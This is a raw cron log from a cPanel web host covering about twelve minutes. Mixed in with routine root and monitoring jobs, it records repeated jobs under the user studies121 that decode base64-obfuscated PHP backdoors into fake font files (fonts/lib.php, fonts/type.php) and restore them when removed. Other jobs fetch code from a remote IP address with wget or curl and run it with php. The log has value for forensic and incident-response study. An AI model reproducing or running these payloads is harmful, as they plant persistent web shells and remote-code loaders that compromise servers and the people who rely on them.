Aug 30 11:18:01 ip-184-168-122-23 CROND[2320]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:18:01 ip-184-168-122-23 CROND[2321]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:18:01 ip-184-168-122-23 CROND[2319]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:18:01 ip-184-168-122-23 CROND[2322]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 11:19:01 ip-184-168-122-23 CROND[2401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:19:01 ip-184-168-122-23 CROND[2400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:19:01 ip-184-168-122-23 CROND[2402]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:19:01 ip-184-168-122-23 CROND[2403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:20:01 ip-184-168-122-23 CROND[2487]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 11:20:01 ip-184-168-122-23 CROND[2488]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:20:01 ip-184-168-122-23 CROND[2492]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 11:20:01 ip-184-168-122-23 CROND[2489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:20:01 ip-184-168-122-23 CROND[2490]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 11:20:01 ip-184-168-122-23 CROND[2491]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 11:20:01 ip-184-168-122-23 CROND[2485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:20:01 ip-184-168-122-23 CROND[2493]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:20:01 ip-184-168-122-23 CROND[2486]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 11:21:01 ip-184-168-122-23 CROND[2603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:21:01 ip-184-168-122-23 CROND[2601]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:21:01 ip-184-168-122-23 CROND[2602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:21:01 ip-184-168-122-23 CROND[2604]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:22:01 ip-184-168-122-23 CROND[3295]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:22:01 ip-184-168-122-23 CROND[3296]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:22:01 ip-184-168-122-23 CROND[3299]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:22:01 ip-184-168-122-23 CROND[3301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:22:01 ip-184-168-122-23 CROND[3300]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 11:23:01 ip-184-168-122-23 CROND[3456]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:23:01 ip-184-168-122-23 CROND[3459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:23:01 ip-184-168-122-23 CROND[3458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:23:01 ip-184-168-122-23 CROND[3457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:24:01 ip-184-168-122-23 CROND[3546]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:24:01 ip-184-168-122-23 CROND[3548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:24:01 ip-184-168-122-23 CROND[3550]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 11:24:01 ip-184-168-122-23 CROND[3551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:24:01 ip-184-168-122-23 CROND[3549]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:25:02 ip-184-168-122-23 CROND[3645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:25:02 ip-184-168-122-23 CROND[3648]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:25:02 ip-184-168-122-23 CROND[3650]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 11:25:02 ip-184-168-122-23 CROND[3651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:25:02 ip-184-168-122-23 CROND[3652]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 11:25:02 ip-184-168-122-23 CROND[3653]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:26:01 ip-184-168-122-23 CROND[3743]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:26:01 ip-184-168-122-23 CROND[3745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:26:01 ip-184-168-122-23 CROND[3746]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 11:26:01 ip-184-168-122-23 CROND[3747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:26:01 ip-184-168-122-23 CROND[3748]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:27:01 ip-184-168-122-23 CROND[3860]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:27:01 ip-184-168-122-23 CROND[3863]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:27:01 ip-184-168-122-23 CROND[3862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:27:01 ip-184-168-122-23 CROND[3864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:28:01 ip-184-168-122-23 CROND[3951]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:28:01 ip-184-168-122-23 CROND[3955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:28:01 ip-184-168-122-23 CROND[3956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:28:01 ip-184-168-122-23 CROND[3953]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:28:01 ip-184-168-122-23 CROND[3954]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 11:29:01 ip-184-168-122-23 CROND[4129]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:29:01 ip-184-168-122-23 CROND[4130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:29:01 ip-184-168-122-23 CROND[4133]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:29:01 ip-184-168-122-23 CROND[4136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:30:01 ip-184-168-122-23 CROND[4231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:30:01 ip-184-168-122-23 CROND[4235]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
